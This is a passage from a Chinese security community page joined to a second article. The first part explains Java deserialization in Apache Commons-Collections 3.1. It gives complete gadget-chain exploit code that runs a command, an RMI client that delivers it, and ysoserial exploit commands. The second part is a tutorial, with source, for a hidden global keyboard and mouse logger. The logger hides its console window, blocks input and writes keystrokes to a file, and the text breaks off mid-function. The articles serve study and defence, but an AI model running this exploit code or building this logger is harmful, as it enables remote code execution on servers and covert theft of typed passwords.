public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(transformedMap);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Map result = (TransformedMap)objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
Map.Entry onlyElement = (Map.Entry) result.entrySet().iterator().next();
onlyElement.setValue("foobar");
该情况可以触发，但是现实中往往不一定存在把数据反序列化后，再调用其中`TransformedMap`的`Map.Entry`类型的`setValue`方法
在java中，自带的类中还有一个类叫做`AnnotationInvocationHandler`
该类中重写的readObject方法在被调用时会将其中的`map`，转成`Map.Entry`，并执行`setValue`操作，那么能把`TransformedMap`装入这个`AnnotationInvocationHandler`类，再传过去，就可以不用考虑之后代码是否执行`setValue`就可以直接利用漏洞了
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
}
setValue的点在这一行
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
最后利用的payload如下
package Serialize2;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class ApacheSerialize2 implements Serializable {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("serialize3.txt");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(instance);
objectOutputStream.close();
//反序列化
FileInputStream fileInputStream = new FileInputStream("serialize3.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Object result = objectInputStream.readObject();
objectInputStream.close();
System.out.println(result);
}
}
能够直接触发
为什么jdk为1.8就无法这么利用了,看jdk1.8的`AnnotationInvocationHandler`源码，readObject中在jdk1.7的`setValue`已经变成了
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
在jdk1.8下不能触发
ysoserial的包里面也有commons-collectons-3.1的payload，它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的
该项目的GitHub地址<https://github.com/frohoff/ysoserial>
ysoserial的使用方法
java -jar ysoserial.jar CommonsCollections5 calc.exe > 1.txt
把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令
## **0x06 RMI简介**
RMI（Remote Method Invocation），远程方法调用
JNDI（Java Naming and Directory Interface），Java 命名与目录接口
JNDI是注册表可以包含很多的RMI，举个例子就JNDI像个本子，RMI像本子上的记录，客户端调用RMI记录的时候会先去JNDI这个本子，然后从本子上找相应的RMI记录
_性质_
与JMX服务器之间的通信使用的协议就是rmi协议
rmi可以传输序列化的数据
_传输原理_
1.客户端 => 客户端本地的stub类
2.客户端本地的stub类把信息序列化 => 服务器端的skeletons类
3.服务器端的skeletons类把信息反序列化 => 服务器端的对应类进行处理
4.服务器端对应类处理完后 => 服务器端的skeletions类
5.skeletions类序列化数据 => 客户端本地的stub类
6.客户端本地的stub类把数据反序列化 => 客户端
但在java 1.2版本后免去了3、5的步骤，直接在对应的类上进行序列化和反序列化
## **0x07 RMI服务器实现**
首先定义一个`User`接口，这个接口和普通接口不一样在于要抛出`RemoteException`的异常
package RMI;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote{
String name(String name) throws RemoteException;
void say(String say) throws RemoteException;
void dowork(Object work) throws RemoteException;
}
接着实现该接口的各种函数的`UserImpl`类，实现的类也要抛出`RemoteException`的异常
package RMI;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User{
public UserImpl() throws RemoteException{
super();
}
@Override
public String name(String name) throws RemoteException{
return name;
}
@Override
public void say(String say) throws RemoteException{
System.out.println("you speak" + say);
}
@Override
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
}
最后是启动这个服务
package RMI;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class UserServer {
public static void main(String[] args) throws Exception{
String url = "rmi://10.10.10.1:4396/User";
User user = new UserImpl();
LocateRegistry.createRegistry(4396);
Naming.bind(url,user);
System.out.println("the rmi is running ...");
}
}
LocateRegistry.createRegistry(4396)把4396端口号在JNDI中注册，将开启RMI的服务的端口
Naming.rebind()来实现将类和端口版本，开放出去
运行后，就会在4396端口进行监听
## **0x08 通过RMI服务器运行commons-collectons-3.1反序列化漏洞**
这个RMI的问题在于，它的`void dowork(Object work)`函数接收了`Object`类型
public void dowork(Object work) throws RemoteException{
System.out.println("your work is " + work);
}
而我们的把攻击链生成的payload也是Object类型，因此可以通过该点传入触发漏洞
在jdk1.7，并且服务器上有commons-collectons-3.1的情况下，运行下面payload弹出计算机
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class UserClient {
public static void main(String[] args) throws Exception{
String url = "rmi://10.10.10.1:4396/User";
User userClient = (User)Naming.lookup(url);
System.out.println(userClient.name("sijidou"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
return instance;
}
}
在jdk1.8下会失败
那么利用之前的ysoserial生成的1.txt，来触发jdk1.8的漏洞
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class UserClient2 {
public static void main(String[] args) throws Exception{
String url = "rmi://10.10.10.1:4396/User";
User userClient = (User) Naming.lookup(url);
System.out.println(userClient.name("sijidou"));
userClient.say("world");
userClient.dowork(getpayload());
}
public static Object getpayload() throws Exception{
FileInputStream fileInputStream = new FileInputStream("1.txt");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
return objectInputStream.readObject();
}
}
成功弹出计算器
那么在另一台设备上，我这里用kali的虚拟机使用`ysoserial`工具来给本地的win10RMI服务器发送payload
win10在虚拟机的虚拟网卡ip:10.10.10.1
kali的ip:10.10.10.128
java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.RMIRegistryExploit 10.10.10.1 4396 CommonsCollections1 "calc.exe"
1. **结语**
源码和笔记
JMX：<https://github.com/SiJiDo/JMX->
RMI：<https://github.com/SiJiDo/RMI-simple-notes>
JAVA反序列化：<https://github.com/SiJiDo/JAVA-Serialize-vuln>
参考文章
<https://www.jianshu.com/p/a947717ded70>
<https://blog.csdn.net/lmy86263/article/details/72594760>
<http://www.importnew.com/20344.html>
<https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/>
<https://www.cnblogs.com/ysocean/p/6516248.html>
<https://www.freebuf.com/vuls/170344.html>
<https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/>
<https://www.cnblogs.com/luoxn28/p/5686794.html>
<https://security.tencent.com/index.php/blog/msg/97>
<https://p0sec.net/index.php/archives/121/>
<https://xz.aliyun.com/t/4558> | 社区文章 |
# 实现简单全局键盘、鼠标记录器
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**记一次通过HOOK实现简单的全局键盘、鼠标记录器**
0、说明1、SetWindowsHookEx函数介绍
（1）第一个参数
（2）第二个参数
（3）第三个参数
（4）第四个参数
2、设置全局钩子获取消息队列中的消息
（1）写在main函数之前
（2）安装钩子
（3）获取消息队列中的消息
（4）设置钩子过程函数
3、键盘钩子过程函数
（1）键盘钩子过程函数的参数
（2）KBDLLHOOKSTRUCT结构体
（3）识别大小写或特殊字符
（4）记录按键时间和按键状态
（5）将按键信息记录到文件里
（6）拦截所有按键消息，按F1键卸载钩子解除拦截
4、鼠标钩子过程函数
（1）键盘钩子过程函数的参数
（2）MSLLHOOKSTRUCT结构体
（3）识别鼠标按键消息
（4）拦截鼠标按键消息，记录到文件
5、总结
6、演示效果
7、所有源码
7、参考文章
## 0、说明
记录一次利用`SetWindowsHookEx`这个API设置全局键盘、鼠标钩子的过程。
这个钩子是直接在写在exe里面，没有写在dll里。通过消息循环，钩子会直接截获消息队列中的消息，执行钩子对应的过程函数。
相当于 **基于windows消息机制的消息Hook** ，
最后效果是：
1. 拦截全局键盘，识别大小写和特殊字符，（不响应键盘所有按键）。
2. 鼠标点击消息，识别左右按键，不拦截鼠标移动消息，（鼠标可以正常移动，无法响应点击）。
3. 将按键消息和鼠标点击消息记录在文件里。
4. 直到按下`F1`键时，卸载全局键盘、鼠标钩子，所有恢复正常。
当然，也可以不拦截消息，只做一个消息监视器，监视所有消息。
> 环境：Win10
> 编译器：VS2019
## 1、SetWindowsHookEx函数介绍
[微软官方文档：SetWindowsHookEx](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa)
//HHOOK是设定的钩子句柄，一般定义为全局变量。
HHOOKSetWindowsHookExA(
[in] intidHook,
[in] HOOKPROClpfn,
[in] HINSTANCEhmod,
[in] DWORDdwThreadId
);
### **（1）第一个参数**
`idHook`代表代表设置钩子的类型，比如键盘钩子、鼠标钩子、消息钩子等，微软给了宏定义，以下列几个常用的
**宏含义**
---
WH_KEYBOARD | 钩取键盘输入消息
WH_KEYBOARD_LL | 钩取低级键盘输入消息
WH_MOUSE | 钩取鼠标输入消息
WH_MOUSE_LL | 钩取低级鼠标输入消息
WH_MSGFILTER | 监视一些窗口控件交互的消息（对话框、菜单、滚动条等）
WH_GETMESSAGE | 钩取所有从消息队列出来的消息
我们要制作的钩子类型就是`WH_KEYBOARD_LL`、和`WH_MOUSE_LL`，（如果是在dll中就得使用`WH_KEYBOARD`和`WH_MOUSE`）。
### **（2）第二个参数**
`lpfn`代表钩子的过程函数指针，钩子的过程函数类型是`HOOKPROC`，微软有官方解释：
[微软官方文档：HOOKPROC](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nc-winuser-hookproc)
HOOKPROCHookproc;
LRESULTHookproc(
intcode,
[in] WPARAMwParam,
[in] LPARAMlParam
)
钩子过程函数类型大概是固定的，三个参数，记录消息信息，但重点是，不同的钩子类型，也对应不同的参数用法。（下面的键盘钩子过程函数、鼠标钩子过程函数会分别展开讲解。）
### **（3）第三个参数**
`hmod`指向一般指向过程函数所在模块的句柄，对于本钩子而言，就是自己模块的句柄，即：
GetModuleHandle(NULL)
### **（4）第四个参数**
`dwThreadId`代表需要勾住的特定线程的ID。
对于桌面应用程序，如果设置为NULL，则挂钩过程与调用线程在同一桌面上运行的所有现有线程相关联，即设置为NULL代表全局钩子。
## 2、设置全局钩子获取消息队列中的消息
### **（1）写在main函数之前**
因为我写的钩子是直接写到exe里面，所以下面有声明全局变量和一些函数声明写在main函数之前。
#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
//预编译，让控制台窗口程序，不显示控制台窗口，直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include<Windows.h>
#include <stdio.h>
#include <iostream>
//全局键盘Hook句柄
HHOOKhKeyboardHook;
//全局鼠标hook句柄
HHOOKhMouseHook;
//安装钩子hook的函数
BOOLHookKeyBoardProc();
//记录Shift消息
BOOLbShift=FALSE;
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
//根据钩子过程函数的参数消息，返回按键的字符（大小写、特殊字符）
//参数1：按键虚拟码,即键盘上每个按键对应一个虚拟码，不区分大小写，微软官方文档：https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2：是否按下大写按键，TRUE代表按下
//参数3：是否按住shift按键，TRUE代表正按住
//参数4：函数返回的按键字符，存储在Out指针指向的内存。
//返回值：无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);
### **（2）安装钩子**
然后在主进程里安装钩子。
//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(
WH_KEYBOARD_LL,//Installs a hook procedure that monitors low-level keyboard input events.
KeyBoardProc, //键盘钩子的过程函数
GetModuleHandle(NULL),//指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID，NULL代表全局钩子
);
//安装鼠标钩子
hMouseHook=SetWindowsHookExA(
WH_MOUSE_LL,//Installs a hook procedure that monitors low-level mouse input events.
MouseCursorProc, //鼠标钩子的过程函数
GetModuleHandle(NULL), //指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID，NULL代表全局钩子
);//安装
### **（3）获取消息队列中的消息**
当全局钩子设定好，我们要主动去系统消息队列中获取消息。
MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
因为钩子函数特性，如果写在主程序exe里，搭配这个消息循环，这时所有消息会优先通过提前安装的钩子，通过钩子的过程函数，可以处理这个消息，并决定这个消息是否传递给其他窗口过程函数。
### **（4）设置钩子过程函数**
这里给出钩子过程函数框架：[微软官方文档：HOOKPROC](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nc-winuser-hookproc)
LRESULTCALLBACKHookProcedureFunc(intnCode, WPARAMwParam, LPARAMlParam) {
printf("Hello！HOOK Procedure Function！\n");
return0;
//return 1;
//return CallNextHookEx
}
注意返回值，根据规定，
非零就是将钩子截获的特定类型消息不传递给窗口过程函数，即直接拦截。
为零就继续传递窗口过程函数处理，即只是监视。
但如果存在相同类型的钩子链，可以通过
return [CallNextHookEx](https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-callnexthookex)
**来传递截获的消息传给钩子链中的下一个钩子再做处理，即向下传递钩取的消息，但要注意，这样的话，过程函数的返回值也会通过钩子链向上传递，影响消息是否传被拦截还是监视。**
**此时钩子已经安装好了，已经可以实现简单的监视功能，所有我们符合我们设置类型的消息会优先被我们的钩子函数处理。**
**下面就是完善钩子的过程函数，对截获的消息进行处理，实现键盘、鼠标消息记录。**
## 3、键盘钩子过程函数
//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );
当第一个参数钩子类型设置为`WH_KEYBOARD_LL`时，第四个参数为`NULL`时，代表设置的钩子为全局键盘钩子。
此时被拦截的消息表示为：按键DOWN、按键UP。（即一个按键被按下产生一个消息，放开按键又产生一个消息）
### **（1）键盘钩子过程函数的参数**
此时键盘钩子对应的窗口过程函数：[微软官方：LowLevelKeyboardProc
回调函数](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985\(v=vs.85\))
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}
第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数
第二个参数代表windows消息：`WM_KEYDOWN`和`WM_KEYUP`，分别代表键盘按键按下和放开。
第三个参数指向[ **KBDLLHOOKSTRUCT**](https://msdn.microsoft.com/en-us/library/ms644967\(v=vs.85\))结构的指针，结构体指针。
### **（2）KBDLLHOOKSTRUCT结构体**
typedefstructtagKBDLLHOOKSTRUCT {
DWORDvkCode;//虚拟键码，1~254范围的值
DWORDscanCode;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
键盘钩子这里我们只需要明白这个结构体的第一个成员`vkCode`代表一个虚拟键码。
[虚拟键码](https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes)：即键盘上每一个按键都对应这一个虚拟键码。
但是虚拟键码不会区分大小写或特殊字符的情况。所以需要我们通过算法识别。
### **（3）识别大小写或特殊字符**
一般我们使用键盘，造成大小写差异的按键就是`CapsLk`和`Shift`按键，注意`Shift`有左右两个。
**关于**`CapsLk`按键，通过下面获取`CapsLk`状态，是否开启大写。
SHORTcapsShort=GetKeyState(VK_CAPITAL);
BOOLcaps=FALSE; // 默认大写关闭
if (capsShort>0)
{
// 如果大于0，则大写键按下，说明开启大写；反之小写
caps=TRUE;
}
关于`Shift`按键，通过下面获取`Shift`按键状态，是否正在被按下且没有放开按键。
//VK_LSHIFT和VK_RSHIFT分别代表左右Shift按键的虚拟键码。
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
{
bShift=TRUE;
}
elseif (wParam==WM_KEYUP)
{
bShift=FALSE;
}
else
{
bShift=FALSE;
}
}
然后通过算法`HookCode`子函数，来识别按键是否大小写或特殊字符
PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
HookCode(p->vkCode , caps, bShift, WM_Key);//WM_Key是自定义的数组，存储返回的字符串
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息，返回按键的字符（大小写、特殊字符）
//参数1：按键虚拟码,即键盘上每个按键对应一个虚拟码，不区分大小写，微软官方文档：https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2：是否按下大写按键，TRUE代表按下
//参数3：是否按住shift按键，TRUE代表正按住
//参数4：函数返回的按键字符，存储在Out指针指向的内存。
//返回值：无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
{
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0: key="0"; break;
caseVK_NUMPAD1: key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3: key="3"; break;
caseVK_NUMPAD4: key="4"; break;
caseVK_NUMPAD5: key="5"; break;
caseVK_NUMPAD6: key="6"; break;
caseVK_NUMPAD7: key="7"; break;
caseVK_NUMPAD8: key="8"; break;
caseVK_NUMPAD9: key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD: key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL: key="."; break;
caseVK_DIVIDE: key="/"; break;
// Function Keys
caseVK_F1: key="[F1]"; break;
caseVK_F2: key="[F2]"; break;
caseVK_F3: key="[F3]"; break;
caseVK_F4: key="[F4]"; break;
caseVK_F5: key="[F5]"; break;
caseVK_F6: key="[F6]"; break;
caseVK_F7: key="[F7]"; break;
caseVK_F8: key="[F8]"; break;
caseVK_F9: key="[F9]"; break;
caseVK_F10: key="[F10]"; break;
caseVK_F11: key="[F11]"; break;
caseVK_F12: key="[F12]"; break;
caseVK_F13: key="[F13]"; break;
caseVK_F14: key="[F14]"; break;
caseVK_F15: key="[F15]"; break;
caseVK_F16: key="[F16]"; break;
caseVK_F17: key="[F17]"; break;
caseVK_F18: key="[F18]"; break;
caseVK_F19: key="[F19]"; break;
caseVK_F20: key="[F20]"; break;
caseVK_F21: key="[F22]"; break;
caseVK_F22: key="[F23]"; break;
caseVK_F23: key="[F24]"; break;
caseVK_F24: key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL: key="[SCROLL-LOCK]"; break;
caseVK_BACK: key="[BACK]"; break;
caseVK_TAB: key="[TAB]"; break;
caseVK_CLEAR: key="[CLEAR]"; break;
caseVK_RETURN: key="[ENTER]"; break;
caseVK_SHIFT: key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU: key="[ALT]"; break;
caseVK_PAUSE: key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE: key="[ESC]"; break;
caseVK_SPACE: key="[SPACE]"; break;
caseVK_PRIOR: key="[PAGEUP]"; break;
caseVK_NEXT: key="[PAGEDOWN]"; break;
caseVK_END: key="[END]"; break;
caseVK_HOME: key="[HOME]"; break;
caseVK_LEFT: key="[LEFT]"; break;
caseVK_UP: key="[UP]"; break;
caseVK_RIGHT: key="[RIGHT]"; break;
caseVK_DOWN: key="[DOWN]"; break;
caseVK_SELECT: key="[SELECT]"; break;
caseVK_PRINT: key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT: key="[INS]"; break;
caseVK_DELETE: key="[DEL]"; break;
caseVK_HELP: key="[HELP]"; break;
// Number Keys with shift
case0x30: key=shift?"!" : "1"; break;
case0x31: key=shift?"@" : "2"; break;
case0x32: key=shift?"#" : "3"; break;
case0x33: key=shift?"$" : "4"; break;
case0x34: key=shift?"%" : "5"; break;
case0x35: key=shift?"^" : "6"; break;
case0x36: key=shift?"&" : "7"; break;
case0x37: key=shift?"*" : "8"; break;
case0x38: key=shift?"(" : "9"; break;
case0x39: key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN: key="[WIN]"; break;
caseVK_RWIN: key="[WIN]"; break;
caseVK_LSHIFT: key="[SHIFT]"; break;
caseVK_RSHIFT: key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1: key=shift?":" : ";"; break;
caseVK_OEM_PLUS: key=shift?"+" : "="; break;
caseVK_OEM_COMMA: key=shift?"<" : ","; break;
caseVK_OEM_MINUS: key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2: key=shift?"?" : "/"; break;
caseVK_OEM_3: key=shift?"~" : "`"; break;
caseVK_OEM_4: key=shift?"{" : "["; break;
caseVK_OEM_5: key=shift?"\\" : "|"; break;
caseVK_OEM_6: key=shift?"}" : "]"; break;
caseVK_OEM_7: key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY: key="[PLAY]";
caseVK_ZOOM: key="[ZOOM]";
caseVK_OEM_CLEAR: key="[CLEAR]";
caseVK_CANCEL: key="[CTRL-C]";
default: key="[UNK-KEY]";
break;
}
key.copy(Out+strlen(Out), key.length(), 0);
return ;
}
### **（4）记录按键时间和按键状态**
char WM_Key[40] = {0};
char Date_Key[200] = { 0 };
SYSTEMTIME time;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
int len = strlen(Date_Key);
if (wParam == WM_KEYDOWN)
{
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
}
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
}
HookCode(p->vkCode , caps, bShift, WM_Key);
strcpy(Date_Key+strlen(Date_Key), WM_Key);
len = strlen(Date_Key);
Date_Key[len] = '\n';
Date_Key[len+1] = 0;
### **（5）将按键信息记录到文件里**
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
}
/********************************************************
函数作用：将字符消息写入对应文件。
返回值：是否写入成功acq
*********************************************************/
BOOL WriteMessageToFile(char* Date_Key, int len) {
HANDLE hFile = CreateFileA(
"./record.txt",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
